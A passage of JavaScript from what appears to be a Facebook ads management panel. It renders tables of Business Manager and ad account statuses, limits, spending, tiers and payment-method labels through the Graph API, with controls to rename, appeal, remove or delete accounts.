                                        ownfpcnt = 0;
                                    }

                                    try {
                                        if (bminf.data[i].client_pages.data.length) {
                                            clientfpcnt = bminf.data[i].client_pages.data.length;
                                        }
                                    } catch (e) {
                                        console.log("No BM client pages");
                                        clientfpcnt = 0;
                                    }
                                    fpcnt = ownfpcnt + clientfpcnt;

                                    try {
                                        if (bminf.data[i].business_users.data.length) {
                                            bmuserscnt = bminf.data[i].business_users.data.length;
                                        }
                                    } catch (e) {
                                        console.log("No BM users");
                                        bmusers = 0;
                                    }

                                    try {
                                        if (bminf.data[i].pending_users.data.length) {
                                            bmuserscnt = bmuserscnt + "+<span style='color: yellow;'>" + bminf.data[i].pending_users.data.length + '</span>';
                                        }
                                    } catch (e) {
                                        console.log("No BM pending users");
                                        bmusers = 0;
                                    }

                                    todo = todo + ("<td><b>" + '<svg xmlns="http://www.w3.org/2000/svg" width="14" height="14" viewBox="0 0 24 24"><path d="M0 7v15h24v-15h-24zm22 13h-20v-6h6v-2h-6v-3h20v3h-6v2h6v6zm-13-15.5c0-.276.224-.5.5-.5h5c.276 0 .5.224.5.5v1.5h2v-2c0-1.104-.896-2-2-2h-6c-1.104 0-2 .896-2 2v2h2v-1.5zm5 6.5h-4v4h4v-4z" fill="#79abd6"/></svg> ' + bmvstatus + "</b></td> <td><center><b>" + bmdisstatus + "</b></center> " + "</td><td><center><b>" + bmlimstatus + "</b></center> " + "</td> <td><center><b>" + acccnt + "<a onclick='window.showMorePopupBMAccs(" + bminf.data[i].id + ");'>" + '<svg clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="2" width="12" height="12" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path d="m22 5c0-.478-.379-1-1-1h-18c-.62 0-1 .519-1 1v14c0 .621.52 1 1 1h18c.478 0 1-.379 1-1zm-1.5 13.5h-17v-13h17zm-6.065-9.978-5.917 5.921v-1.243c0-.414-.336-.75-.75-.75-.415 0-.75.336-.75.75v3.05c0 .414.335.75.75.75h3.033c.414 0 .75-.336.75-.75s-.336-.75-.75-.75h-1.219l5.918-5.922v1.244c0 .414.336.75.75.75s.75-.336.75-.75c0-.715 0-2.335 0-3.05 0-.414-.336-.75-.75-.75-.715 0-2.318 0-3.033 0-.414 0-.75.336-.75.75s.336.75.75.75z" fill-rule="nonzero" fill="#7FB5DA"/></svg>' + "</a></b></center> " + "</td><td><center><b>" + fpcnt + "</b></center> " + "</td><td><center><b>" + bmuserscnt + "<a onclick='window.showMorePopupBMUsers(" + bminf.data[i].id + ");'>" + '<svg clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="2" width="12" height="12" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path d="m22 5c0-.478-.379-1-1-1h-18c-.62 0-1 .519-1 1v14c0 .621.52 1 1 1h18c.478 0 1-.379 1-1zm-1.5 13.5h-17v-13h17zm-6.065-9.978-5.917 5.921v-1.243c0-.414-.336-.75-.75-.75-.415 0-.75.336-.75.75v3.05c0 .414.335.75.75.75h3.033c.414 0 .75-.336.75-.75s-.336-.75-.75-.75h-1.219l5.918-5.922v1.244c0 .414.336.75.75.75s.75-.336.75-.75c0-.715 0-2.335 0-3.05 0-.414-.336-.75-.75-.75-.715 0-2.318 0-3.033 0-.414 0-.75.336-.75.75s.336.75.75.75z" fill-rule="nonzero" fill="#7FB5DA"/></svg>' + "</a></b></center> " + "</td><td><b><a href='https://business.facebook.com/settings/?business_id=" + bminf.data[i].id + "' target='_blank'><svg width=\"14\" height=\"14\" xmlns=\"http://www.w3.org/2000/svg\" fill-rule=\"evenodd\" viewBox=\"0 0 24 24\" clip-rule=\"evenodd\"><path d=\"M14 4h-13v18h20v-11h1v12h-22v-20h14v1zm10 5h-1v-6.293l-11.646 11.647-.708-.708 11.647-11.646h-6.293v-1h8v8z\" fill=\"#79abd6\"/></svg></a></a></b></td>");
                                    todo = todo + "<td></td></tr>";
                                }
                            }
                            todo = todo + "</table>";
                        } else {
                            //window.appendtab('No BM accounts', "tab5");
                            todo = "No BM accounts for display :(";
                        }

                        todo = todo + "\n<hr width='90%'><center><button id='showAddBMbtn' style='background:#384959;color:white;' onclick='window.showAddBM(); return true;'>Greate new BM</button></center>";




                        todo = todo + "<div id='tab5showadd'></div><center><div id='tab5addbmlog'></div></center>\n<hr width='90%'><!--<center>Other BM status Lookup</center>\n<center><form id='bmstatlookup'><input type=text id='bmlookid'><button style='background:#384959;color:white;' id='bmlooksubmit' onclick='window.checkBmFunc(); return false;'>Get info</button></form></center>-->";
                        todo = todo + '<div id="bmrestablediv" style="display:none;"><table id="bmrestableid" border="0.1"><tr><th>#</th><th>Name</th><th>Status</th><th>Limit</th></tr></table></div>';
                        window.appendtab(todo, "tab5");


                        //if(pzrdbmcheck == 1){
                        //window.showbmstatuspzrd(bmpzrdcheck);
                        //}



                    }
                });
            }

            window.showaccstatusedit = function(accid) {
                document.getElementById("fbaccstatusaccnoedit" + accid).style.display = "none";
                document.getElementById("fbaccstatusaccedit" + accid).style.display = "block";
            }
            window.showaccstatusupdatename = async function(accid) {
                getNewName = document.getElementById("Tab3Accname" + accid).value;
                let apiUrl = "https://graph.facebook.com/v17.0/";
                let editaccid = accid;
                let params = `${editaccid}?fields=id,name`;
                var urlencoded = new URLSearchParams();
                urlencoded.append("name", getNewName);
                urlencoded.append("access_token", window.privateToken);
                let response = await fetch(apiUrl + params, {
                    mode: 'cors',
                    method: 'POST',
                    credentials: 'include',
                    redirect: "follow",
                    body: urlencoded
                });
                let json = await response.json();
                //console.log(json);
                if (json.error !== undefined) {
                    alert(json.error.error_user_msg);
                    document.getElementById("fbaccstatusaccedit" + accid).style.display = "none";
                    document.getElementById("fbaccstatusaccnoedit" + accid).style.display = "block";
                } else {
                    document.getElementById("fbaccstatusaccnoedit" + accid).style.display = "block";
                    document.getElementById("fbaccstatusaccedit" + accid).style.display = "none";
                    //Reload
                    // window.mainreload();	
                    window.adstabselect(3);
                }

            }



            window.showaccstatus = async function(showmode) {
                if (showmode == 'ligth') tmpapiurl = 'https://graph.facebook.com/v17.0/me/adaccounts?fields=id,account_id,business,owner,name,adtrust_dsl,currency,account_status,balance,current_unbilled_spend,amount_spent,account_currency_ratio_to_usd,users,user_role,assigned_partners,adspaymentcycle,insights{today_spend},ads.limit(1000){effective_status},is_tier_0,is_tier_1,is_tier_0_full,is_tier_restricted&limit=1000&sort=name_ascending&access_token=' + window.privateToken;
                else
                    tmpapiurl = 'https://graph.facebook.com/v17.0/me/adaccounts?fields=id,account_id,business,owner,name,adtrust_dsl,currency,account_status,balance,current_unbilled_spend,amount_spent,account_currency_ratio_to_usd,users,user_role,assigned_partners,adspaymentcycle,insights{today_spend},ads.limit(1000){effective_status},funding_source_details,is_tier_0,is_tier_1,is_tier_0_full,is_tier_restricted&limit=1000&sort=name_ascending&access_token=' + window.privateToken;
                // tmpapiurl='https://graph.facebook.com/v17.0/me/adaccounts?fields=id,account_id,business,owner,name,adtrust_dsl,currency,account_status,balance,current_unbilled_spend,amount_spent,account_currency_ratio_to_usd,users,user_role,assigned_partners,adspaymentcycle,insights{today_spend},ads.limit(1000){effective_status},is_tier_0,is_tier_1,is_tier_0_full,is_tier_restricted&limit=1000&sort=name_ascending&access_token='+window.privateToken;
                todo = "\n";
                var allcopy = '';
                let convertusd = await pluginDbgetKey('convert');
                window.getJSON(tmpapiurl, function(err, bminf) {
                    if (err !== null) {
                        alert("Something went wrong. Im trying a light version.. ");
                        window.showaccstatus('ligth');
                    } else {

                        //alert(bminf.data.length);
                        //console.log(bminf.accounts.data);
                        //try { 


                        if (bminf.data.length) {
                            document.getElementById("tabhead3").innerHTML = "AdAccs(" + bminf.data.length + ")";
                            todo = "\n";
                            //todo =``;				  
                            todo = todo + '<table border="0.1"><tr style="font-size: 12px;text-decoration: none;color: #7FB5DA;"><th>Name</th><th>Status</th><th>Limit</th><th>Ads</th><th>Today</th><th>Balance</th><th>Spend</th><th class="getAccfullcl" style="display:none">Tier</th><th class="getAccfullcl" style="display:none">Card</th><th class="getAccfullcl" style="display:none">Users</th><th class="getAccfullcl" style="display:none">Owner</th><th><a class="close" style="transition: all 200ms;font-size: 34px;text-decoration: none;color: #79abd6;cursor:progress" onclick="window.adstabselect(3);return true;" href="#"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><path d="M20.944 12.979c-.489 4.509-4.306 8.021-8.944 8.021-2.698 0-5.112-1.194-6.763-3.075l1.245-1.633c1.283 1.645 3.276 2.708 5.518 2.708 3.526 0 6.444-2.624 6.923-6.021h-2.923l4-5.25 4 5.25h-3.056zm-15.864-1.979c.487-3.387 3.4-6 6.92-6 2.237 0 4.228 1.059 5.51 2.698l1.244-1.632c-1.65-1.876-4.061-3.066-6.754-3.066-4.632 0-8.443 3.501-8.941 8h-3.059l4 5.25 4-5.25h-2.92z" fill="#79abd6"/></svg></a></th><th id="getAccfull" class="getAccfullcInactive"><a onclick="window.showMorePopupAccFull()"><svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-toggle-off" viewBox="0 0 16 16"> <path d="M11 4a4 4 0 0 1 0 8H8a4.992 4.992 0 0 0 2-4 4.992 4.992 0 0 0-2-4h3zm-6 8a4 4 0 1 1 0-8 4 4 0 0 1 0 8zM0 8a5 5 0 0 0 5 5h6a5 5 0 0 0 0-10H5a5 5 0 0 0-5 5z" fill="#7FB5DA"/> </svg></a></th></tr>';
                            var i = 0;
                            var iads_active_total = 0;
                            var iads_error_total = 0;
                            var iads_pause_total = 0;
                            var todayspent_total = 0;
                            var allspent_total = 0;
                            var billsp_total = 0;
                            for (; i < bminf.data.length; i++) {
                                if (bminf.data[i].name) {
                                    todo = todo + "<tr>";
                                    allcopy += bminf.data[i].account_id + ',';

                                    bminf.data[i].name = '<div id="fbaccstatusaccnoedit' + bminf.data[i].id + '" style="display:block;"><a onclick="window.showaccstatusedit(`' + bminf.data[i].id + '`);return true;"><svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 24 24"><path d="M1.439 16.873l-1.439 7.127 7.128-1.437 16.873-16.872-5.69-5.69-16.872 16.872zm4.702 3.848l-3.582.724.721-3.584 2.861 2.86zm15.031-15.032l-13.617 13.618-2.86-2.861 10.825-10.826 2.846 2.846 1.414-1.414-2.846-2.846 1.377-1.377 2.861 2.86z" fill="#79abd6"/></svg></a>' + "<b id='fbaccstatusacc" + bminf.data[i].id + "' onclick='window.copytocb(`" + bminf.data[i].account_id + "`);return true;'>" + bminf.data[i].name + "</b></div>" + '<div id="fbaccstatusaccedit' + bminf.data[i].id + '" style="display:none;"><input type="text" id="Tab3Accname' + bminf.data[i].id + '" style="background: #384959;color:white;"  maxlength="50" size="15" value="' + bminf.data[i].name + '"><a onclick="window.showaccstatusupdatename(`' + bminf.data[i].id + '`);return true;"><svg xmlns="http://www.w3.org/2000/svg" width="14" height="14" viewBox="0 0 24 24"><path d="M15.563 22.282l-3.563.718.72-3.562 2.843 2.844zm-2.137-3.552l2.845 2.845 7.729-7.73-2.845-2.845-7.729 7.73zm-2.426-9.73h2.996v-5h-2.996v5zm-.636 12h-8.364v-18h3v9h12v-9h.172l2.828 2.829v3.545l2-1.999v-2.375l-4-4h-18v22h9.953l.411-2zm-3.364-18h8v7h-8v-7z" fill="#79abd6"/></svg></a></div>';

                                    BMOwner = 'NA';
                                    goremacc = '';
                                    try {
                                        BMOwner = "<a href='https://business.facebook.com/settings/ad-accounts/?business_id=" + bminf.data[i].business.id + "' target='_blank'>" + '<svg xmlns="http://www.w3.org/2000/svg" width="14" height="14" viewBox="0 0 24 24"><path d="M0 7v15h24v-15h-24zm22 13h-20v-6h6v-2h-6v-3h20v3h-6v2h6v6zm-13-15.5c0-.276.224-.5.5-.5h5c.276 0 .5.224.5.5v1.5h2v-2c0-1.104-.896-2-2-2h-6c-1.104 0-2 .896-2 2v2h2v-1.5zm5 6.5h-4v4h4v-4z" fill="#79abd6"/></svg></a> ' + bminf.data[i].business.name;
                                    } catch (e) {
                                        // console.log('Personal?');
                                        // console.log(bminf.client_ad_accounts.data[i].owner);
                                        if (bminf.data[i].owner) {
                                            BMOwner = '<svg xmlns="http://www.w3.org/2000/svg" width="14" height="14" viewBox="0 0 24 24"><path d="M23.995 24h-1.995c0-3.104.119-3.55-1.761-3.986-2.877-.664-5.594-1.291-6.584-3.458-.361-.791-.601-2.095.31-3.814 2.042-3.857 2.554-7.165 1.403-9.076-1.341-2.229-5.413-2.241-6.766.034-1.154 1.937-.635 5.227 1.424 9.025.93 1.712.697 3.02.338 3.815-.982 2.178-3.675 2.799-6.525 3.456-1.964.454-1.839.87-1.839 4.004h-1.995l-.005-1.241c0-2.52.199-3.975 3.178-4.663 3.365-.777 6.688-1.473 5.09-4.418-4.733-8.729-1.35-13.678 3.732-13.678 4.983 0 8.451 4.766 3.732 13.678-1.551 2.928 1.65 3.624 5.09 4.418 2.979.688 3.178 2.143 3.178 4.663l-.005 1.241zm-13.478-6l.91 2h1.164l.92-2h-2.994zm2.995 6l-.704-3h-1.615l-.704 3h3.023z" fill="#79abd6"/></svg> ' + bminf.data[i].owner;
                                            goremacc = "<a onclick='window.remadacc(`" + bminf.data[i].account_id + "`,`" + window.socid + "`);'>" + '<svg clip-rule="evenodd" fill-rule="evenodd" width="14" height="14" stroke-linejoin="round" stroke-miterlimit="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path d="m12.002 2.005c5.518 0 9.998 4.48 9.998 9.997 0 5.518-4.48 9.998-9.998 9.998-5.517 0-9.997-4.48-9.997-9.998 0-5.517 4.48-9.997 9.997-9.997zm0 1.5c-4.69 0-8.497 3.807-8.497 8.497s3.807 8.498 8.497 8.498 8.498-3.808 8.498-8.498-3.808-8.497-8.498-8.497zm0 7.425 2.717-2.718c.146-.146.339-.219.531-.219.404 0 .75.325.75.75 0 .193-.073.384-.219.531l-2.717 2.717 2.727 2.728c.147.147.22.339.22.531 0 .427-.349.75-.75.75-.192 0-.384-.073-.53-.219l-2.729-2.728-2.728 2.728c-.146.146-.338.219-.53.219-.401 0-.751-.323-.751-.75 0-.192.073-.384.22-.531l2.728-2.728-2.722-2.722c-.146-.147-.219-.338-.219-.531 0-.425.346-.749.75-.749.192 0 .385.073.531.219z" fill-rule="nonzero" fill="#79abd6"/></svg>' + "</a>";
                                        } else BMOwner = 'NA';
                                    }


                                    if (bminf.data[i].account_status) {
                                        switch (bminf.data[i].account_status) {
                                            case 1:
                                                astatus = '<b>🟢</b>';
                                                break; ///active
                                            case 2:
                                                astatus = '<b>🔴</b> <button style="background:#384959;color:white;" id="AdsAccAppeal' + bminf.data[i].account_id + '" onclick="window.appealadsacc(`' + bminf.data[i].account_id + '`); return false;">Appeal</button>';
                                                break; //disabled
                                            case 3:
                                                astatus = '<b>🟠</b>UNSETTLED';
                                                break;
                                            case 7:
                                                astatus = "PENDING_RISK_REVIEW";
                                                break;
                                            case 8:
                                                astatus = "PENDING_SETTLEMENT";
                                                break;
                                            case 9:
                                                astatus = "IN_GRACE_PERIOD";
                                                break;
                                            case 100:
                                                astatus = '<b>🚫</b><small>PENDING_CLOSE</small>';
                                                break;
                                            case 101:
                                                astatus = '<b>🚫</b>CLOSED';
                                                break;
                                            case 201:
                                                astatus = "ANY_ACTIVE";
                                                break;
                                            case 202:
                                                astatus = "ANY_CLOSED";
                                                break;
                                            default:
                                                astatus = "UNKNOWN " + bminf.data[i].account_status;
                                                break;
                                        }
                                        //todo = todo + ("Account status: " + astatus + "\n<br>");
                                        bmdisstatus = astatus;
                                    }

                                    try {

                                        if (bminf.data[i].is_tier_0 == true) {
                                            acctier = 'T0';
                                        } else if (bminf.data[i].is_tier_1 == true) {
                                            acctier = 'T1';
                                        } else if (bminf.data[i].is_0_full == true) {
                                            acctier = 'T0 Full';
                                        } else {
                                            acctier = 'na';
                                        }

                                    } catch (e) {
                                        acctier = 'na';
                                    }

                                    acctier = acctier + "<a onclick='window.showMorePopupAccCap(`" + bminf.data[i].account_id + "`);'>" + '<svg clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="2" width="12" height="12" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path d="m22 5c0-.478-.379-1-1-1h-18c-.62 0-1 .519-1 1v14c0 .621.52 1 1 1h18c.478 0 1-.379 1-1zm-1.5 13.5h-17v-13h17zm-6.065-9.978-5.917 5.921v-1.243c0-.414-.336-.75-.75-.75-.415 0-.75.336-.75.75v3.05c0 .414.335.75.75.75h3.033c.414 0 .75-.336.75-.75s-.336-.75-.75-.75h-1.219l5.918-5.922v1.244c0 .414.336.75.75.75s.75-.336.75-.75c0-.715 0-2.335 0-3.05 0-.414-.336-.75-.75-.75-.715 0-2.318 0-3.033 0-.414 0-.75.336-.75.75s.336.75.75.75z" fill-rule="nonzero" fill="#7FB5DA"/></svg></a>';

                                    /* try { 
							  if(bminf.data[i].capabilities.includes("ADS_TRUST_TIER_0")){
								  acctier=acctier+'T0';}
							 } catch (e) {console.log("no t0 in capabilities");}
							 
						   try { 
							 if(bminf.data[i].capabilities.includes("СTW_ADS_TRUSTED_TIER_2_PLUS_ADVERTISER")){
								 acctier=acctier+'T2+';}
							} catch (e) {console.log("no t2 in capabilities");}
							try { 
							 if(bminf.data[i].capabilities.includes("СTW_ADS_TRUSTED_TIER_2_ADVERTISER")){
								 acctier=acctier+'T2';}
							} catch (e) {console.log("no t2 in capabilities");}
							*/



                                    if (window.currency_symbols[bminf.data[i].currency] !== undefined) {
                                        currency_symbol = window.currency_symbols[bminf.data[i].currency];
                                    } else {
                                        currency_symbol = bminf.data[i].currency;
                                    }

                                    if (bminf.data[i].adtrust_dsl) {
                                        if (bminf.data[i].adtrust_dsl == -1) {
                                            slimit = "no limit";
                                        } else {
                                            if (convertusd == 1 && bminf.data[i].currency != 'USD') {
                                                slimit = '$' + Math.round(bminf.data[i].adtrust_dsl / bminf.data[i].account_currency_ratio_to_usd) + '(' + currency_symbol + ')';
                                                ///console.log(bminf.data[i].adtrust_dsl);
                                                ///console.log(bminf.data[i].account_currency_ratio_to_usd);
                                            } else {
                                                slimit = currency_symbol + Math.round(bminf.data[i].adtrust_dsl);
                                            }
                                        }
                                        bmlimstatus = slimit;

                                    }

                                    if (bminf.data[i].amount_spent > 0) {
                                        if (convertusd == 1 && bminf.data[i].currency != 'USD') {

                                            //allspent='$'+Math.round((bminf.data[i].amount_spent/100)/bminf.data[i].account_currency_ratio_to_usd);
                                            allspent = Math.round((bminf.data[i].amount_spent / 100) / bminf.data[i].account_currency_ratio_to_usd);
                                            allspent_total += (bminf.data[i].amount_spent / 100 / bminf.data[i].account_currency_ratio_to_usd);
                                            //console.log(bminf.data[i].adtrust_dsl);
                                            //console.log(bminf.data[i].account_currency_ratio_to_usd);
                                        } else {
                                            //allspent=currency_symbol+(bminf.data[i].amount_spent/100);
                                            allspent = Math.round(bminf.data[i].amount_spent / 100);
                                            allspent_total += (bminf.data[i].amount_spent / 100 / bminf.data[i].account_currency_ratio_to_usd);
                                        }

                                    } else {
                                        allspent = 0;
                                    }


                                    try {
                                        if (bminf.data[i].insights.data[0].today_spend > 0) {
                                            if (convertusd == 1 && bminf.data[i].currency != 'USD') {

                                                //todayspent='$'+Math.round(parseInt(bminf.data[i].insights.data[0].today_spend)/bminf.data[i].account_currency_ratio_to_usd);

                                                todayspent = '$' + Math.round(parseInt(bminf.data[i].insights.data[0].today_spend) / bminf.data[i].account_currency_ratio_to_usd);
                                                allspent = allspent + Math.round(parseInt(bminf.data[i].insights.data[0].today_spend) / bminf.data[i].account_currency_ratio_to_usd);
                                                allspent_total += Math.round(parseInt(bminf.data[i].insights.data[0].today_spend) / bminf.data[i].account_currency_ratio_to_usd);
                                                todayspent_total += (parseInt(bminf.data[i].insights.data[0].today_spend) / bminf.data[i].account_currency_ratio_to_usd);
                                                //console.log(bminf.data[i].adtrust_dsl);
                                                //console.log(bminf.data[i].account_currency_ratio_to_usd);
                                            } else {
                                                todayspent = currency_symbol + Math.round(parseInt(bminf.data[i].insights.data[0].today_spend));
                                                todayspent_total += parseInt(bminf.data[i].insights.data[0].today_spend) / bminf.data[i].account_currency_ratio_to_usd;
                                                allspent = allspent + parseInt(bminf.data[i].insights.data[0].today_spend);
                                                allspent_total += parseInt(bminf.data[i].insights.data[0].today_spend) / bminf.data[i].account_currency_ratio_to_usd;
                                            }

                                        } else {
                                            todayspent = currency_symbol + (0);
                                        }
                                    } catch (e) {
                                        todayspent = 0;
                                    }




                                    /*try { 
							   if (bminf.data[i].ads_posts.data.length>0) {
								fpadscount='<span style="color: green;">'+bminf.data[i].ads_posts.data.length+'</span>';
							   } else {
								fpadscount=''+bminf.data[i].ads_posts.data.length+'';
							   }		
						   }catch (e) {console.log("No ADS for FP :(");fpadscount=0;}  
							 */

                                    try {
                                        if (bminf.data[i].users.data.length > 0) {
                                            adsusrcount = bminf.data[i].users.data.length + '';
                                        } else {
                                            adsusrcount = 'NA';
                                        }
                                    } catch (e) {
                                        console.log("No AdsAcc users?");
                                        adsusrcount = 0;
                                    }


                                    if (bminf.data[i].current_unbilled_spend.amount) {
                                        try {
                                            if (bminf.data[i].adspaymentcycle.data[0].threshold_amount > 0) {
                                                if (convertusd == 1 && bminf.data[i].currency != 'USD') {
                                                    billlim = '$' + Math.round(bminf.data[i].adspaymentcycle.data[0].threshold_amount / 100 / bminf.data[i].account_currency_ratio_to_usd);
                                                } else {
                                                    billlim = currency_symbol + (bminf.data[i].adspaymentcycle.data[0].threshold_amount / 100);
                                                }
                                            }
                                        } catch (e) {
                                            billlim = "na";
                                        }
                                    }
                                    if (bminf.data[i].current_unbilled_spend.amount_in_hundredths > 0) {
                                        if (convertusd == 1 && bminf.data[i].currency != 'USD') {
                                            billsp = '$' + Math.round(parseInt(bminf.data[i].current_unbilled_spend.amount_in_hundredths) / 100 / bminf.data[i].account_currency_ratio_to_usd);
                                            billsp_total += parseInt(bminf.data[i].current_unbilled_spend.amount_in_hundredths) / 100 / bminf.data[i].account_currency_ratio_to_usd;
                                        } else {
                                            billsp = currency_symbol + parseInt(bminf.data[i].current_unbilled_spend.amount_in_hundredths) / 100;
                                            billsp_total += parseInt(bminf.data[i].current_unbilled_spend.amount_in_hundredths) / 100 / bminf.data[i].account_currency_ratio_to_usd;
                                        }

                                    } else billsp = currency_symbol + 0;

                                    //console.log(bminf.data[i].name);
                                    //console.log(bminf.data[i].ads.data.length);

                                    /*if(convertusd==1&&bminf.data[i].currency!='USD') {
                                    allspent='$'+allspent;
                                    }else{
                                    allspent=currency_symbol+(allspent);	
                                    }*/


                                    try {
                                        if (bminf.data[i].funding_source_details.id > 0) {
                                            ccinf = bminf.data[i].funding_source_details.display_string;

                                            try {
                                                ccinf = ccinf.replace('VISA', '');
                                                ccinf = ccinf.replace('Mastercard', '');
                                                ccinf = ccinf.replace('Available Balance', 'Prep');
                                                ccinf = ccinf.replace('monthly invoicing', 'AG');
                                            } catch (e) {}

                                        }
                                    } catch (e) {
                                        /*ccinf=`[<a onclick="window.showMorePopupAddCC(${bminf.data[i].account_id});">add</a>]`;*/
                                        ccinf = 'n/a';
                                    }



                                    try {

                                        if (bminf.data[i].ads.data.length > 0) {
                                            var iads_active = 0;
                                            var iads_error = 0;
                                            var iads_pause = 0;
                                            for (var iads = 0; iads < bminf.data[i].ads.data.length; iads++) {

                                                switch (bminf.data[i].ads.data[iads].effective_status) {
                                                    case 'ACTIVE':
                                                        iads_active += 1;
                                                        iads_active_total += 1;
                                                        break;
                                                    case 'CAMPAIGN_PAUSED':
                                                        iads_pause += 1;
                                                        iads_pause_total += 1;
                                                        break;
                                                    case 'ADSET_PAUSED':
                                                        iads_pause += 1;
                                                        iads_pause_total += 1;
                                                        break;
                                                    case 'IN_PROCESS':
                                                        iads_pause += 1;
                                                        iads_pause_total += 1;
                                                        break;
                                                    case 'PAUSED':
                                                        iads_pause += 1;
                                                        iads_pause_total += 1;
                                                        break;
                                                    case 'DISAPPROVED':
                                                        iads_error += 1;
                                                        iads_error_total += 1;
                                                        break;
                                                    case 'WITH_ISSUES':
                                                        iads_error += 1;
                                                        iads_error_total += 1;
                                                        break;

                                                }

                                                //console.log(bminf.data[i].ads.data[iads]);	  

                                            }

                                            ///adscnt=iads_active+'+'+iads_pause+'+'+iads_error;
                                            if (convertusd == 1 && bminf.data[i].currency != 'USD') {
                                                allspent = '$' + Math.round(allspent);
                                            } else allspent = currency_symbol + Math.round(allspent);


                                            var adscnt = '';
                                            if (iads_active > 0) adscnt += '<b style="color:green;">' + iads_active + '</b>';
                                            if (iads_pause > 0 && adscnt == '') adscnt += '<b style="color:gray;">' + iads_pause + '</b>';
                                            else {
                                                if (iads_pause > 0) adscnt += '+<b style="color:gray;">' + iads_pause + '</b>';
                                            }
                                            if (iads_error > 0 && adscnt == '') adscnt += '<b style="color:red;">' + iads_error + '</b>';
                                            else {
                                                if (iads_error > 0) adscnt += '+<b style="color:red;">' + iads_error + '</b>';
                                            }
                                            adscnt = "" + adscnt + "<a onclick='window.showMorePopupAccAds(`" + bminf.data[i].account_id + "`);'>" + '<svg clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="2" width="12" height="12" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path d="m22 5c0-.478-.379-1-1-1h-18c-.62 0-1 .519-1 1v14c0 .621.52 1 1 1h18c.478 0 1-.379 1-1zm-1.5 13.5h-17v-13h17zm-6.065-9.978-5.917 5.921v-1.243c0-.414-.336-.75-.75-.75-.415 0-.75.336-.75.75v3.05c0 .414.335.75.75.75h3.033c.414 0 .75-.336.75-.75s-.336-.75-.75-.75h-1.219l5.918-5.922v1.244c0 .414.336.75.75.75s.75-.336.75-.75c0-.715 0-2.335 0-3.05 0-.414-.336-.75-.75-.75-.715 0-2.318 0-3.033 0-.414 0-.75.336-.75.75s.336.75.75.75z" fill-rule="nonzero" fill="#7FB5DA"/></svg></a>';

                                        }
                                    } catch (e) {
                                        adscnt = "0";
                                    }




                                    godelacc = "<b><a onclick='window.deladacc(`" + bminf.data[i].account_id + "`);'><svg width=\"14\" height=\"14\" clip-rule=\"evenodd\" fill-rule=\"evenodd\" stroke-linejoin=\"round\" stroke-miterlimit=\"2\" viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"m4.015 5.494h-.253c-.413 0-.747-.335-.747-.747s.334-.747.747-.747h5.253v-1c0-.535.474-1 1-1h4c.526 0 1 .465 1 1v1h5.254c.412 0 .746.335.746.747s-.334.747-.746.747h-.254v15.435c0 .591-.448 1.071-1 1.071-2.873 0-11.127 0-14 0-.552 0-1-.48-1-1.071zm14.5 0h-13v17.006h13zm-4.25 2.506c-.414 0-.75.336-.75.75v8.5c0 .414.336.75.75.75s.75-.336.75-.75v-8.5c0-.414-.336-.75-.75-.75zm-4.5 0c-.414 0-.75.336-.75.75v8.5c0 .414.336.75.75.75s.75-.336.75-.75v-8.5c0-.414-.336-.75-.75-.75zm3.75-4v-.5h-3v.5z\" fill=\"#79abd6\"/></svg></a></b>";

                                    todo = todo + ("<td><b>" + bminf.data[i].name + "</b></td> <td><center><b>" + bmdisstatus + "</b></center> " + "</td><td><center><b>" + bmlimstatus + "</b></center></td><td><center><b>" + adscnt + "</b></center></td><td><center><b>" + todayspent + "</b></center></td><td><center><b>" + billsp + "</b>/<b>" + billlim + "</b></center><td><center><b>" + allspent + "</b></center> " + "</td><td class='getAccfullcl' style='display:none'><center>" + acctier + "</center></td><td class='getAccfullcl' style='display:none'><center><small>" + ccinf + "</small></center></td><td class='getAccfullcl' style='display:none'>" + adsusrcount + "</td><td class='getAccfullcl' style='display:none'>" + BMOwner + "</td><td>" + goremacc + godelacc + " <b><a href='https://www.facebook.com/adsmanager/manage/campaigns?act=" + bminf.data[i].account_id + "' target='_blank'><svg width=\"14\" height=\"14\" xmlns=\"http://www.w3.org/2000/svg\" fill-rule=\"evenodd\" viewBox=\"0 0 24 24\" clip-rule=\"evenodd\"><path d=\"M14 4h-13v18h20v-11h1v12h-22v-20h14v1zm10 5h-1v-6.293l-11.646 11.647-.708-.708 11.647-11.646h-6.293v-1h8v8z\" fill=\"#79abd6\"/></svg></a></b></td><td></td>");
                                    todo = todo + "</tr>";
                                }
                            }
                            ///calculate total
                            var adscnt_total = '';
                            if (iads_active_total > 0) adscnt_total += '<b style="color:green;">' + iads_active_total + '</b>';
                            if (iads_pause_total > 0 && adscnt_total == '') adscnt_total += '<b style="color:gray;">' + iads_pause_total + '</b>';
                            else {
                                if (iads_pause_total > 0) adscnt_total += '+<b style="color:gray;">' + iads_pause_total + '</b>';
                            }
                            if (iads_error_total > 0 && adscnt_total == '') adscnt_total += '<b style="color:red;">' + iads_error_total + '</b>';
                            else {
                                if (iads_error_total > 0) adscnt_total += '+<b style="color:red;">' + iads_error_total + '</b>';
                            }
                            allspent_total = '$' + Math.round(allspent_total);
                            todayspent_total = '$' + Math.round(todayspent_total);
                            billsp_total = '$' + Math.round(billsp_total);
                            todo = todo + ("<tr style='color:#E7E3E5'><td><a onclick='window.copytocb(`" + allcopy + "`);return true;'>Total</a></td> <td><center><b></b></center> " + "</td><td><center><b></b></center></td><td><center><b>" + adscnt_total + "</b></center></td><td><center><b>" + todayspent_total + "</b></center></td><td><center><b>" + billsp_total + " </b></center><td><center><b>" + allspent_total + "</b></center> " + "</td><td></td>");
                            todo = todo + "</tr>";
                            todo = todo + "</table>";
                        } else {
                            //window.appendtab('No BM accounts', "tab5");
                            todo = "No ads accounts for display :(";
                        }
                        //}catch (e) {console.log("No AdsAcc accounts for display :(");}	

